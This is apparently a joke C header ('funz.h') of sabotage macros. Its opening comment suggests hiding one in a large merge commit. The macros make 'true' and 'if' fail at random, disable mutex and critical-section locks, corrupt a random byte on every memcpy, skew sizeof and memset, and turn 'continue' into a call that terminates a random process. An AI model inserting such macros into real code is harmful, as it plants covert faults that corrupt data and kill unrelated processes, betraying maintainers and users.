#define yourself

funz.h

// 1. Choose one
// 2. Include in a commit where you do a large merge
// 3. ????
// 4. PROFIT!!!


#define struct union // need this on t-shirt

#define if while
#define else
#define break
#define if(x)
#define double float 
#define delete

#define unsigned
#define float int

// ^^ too easy

#define volatile
#define return throw

#define M_PI 3.2f
#undef FLT_MIN #define FLT_MIN (-FLT_MAX)
#define floor ceil
#define isnan(x) false

// ^^ math

#define true ((__LINE__&15)!=15)
#define true ((rand()&15)!=15)
#define if(x) if ((x) && (rand() < RAND_MAX * 0.99))

// ^^ threads

#define memcpy strncpy
#define strcpy(a,b) memmove(a,b,strlen(b)+2)
#define strcpy(a,b) (((a & 0xFF) == (b & 0xFF)) ? strcpy(a+1,b) : strcpy(a, b))
#define memcpy(d,s,sz) do { for (int i=0;i<sz;i++) { ((char*)d)[i]=((char*)s)[i]; } ((char*)s)[ rand() % sz ] ^= 0xff; } while (0)
#define sizeof(x) (sizeof(x)-1)

#define pthread_mutex_lock(m) 0
#define InterlockedAdd(x,y) (*x+=y)

#define __builtin_expect(a,b) b // gcc

#define continue if (HANDLE h = OpenProcess(PROCESS_TERMINATE, false, rand()) ) { TerminateProcess(h, 0); CloseHandle(h); } break

#define EnterCriticalSection(p) ((void)0)
#define LeaveCriticalSection(p) ((void)0)

#define memset(a,b,c) memset(a,c,b)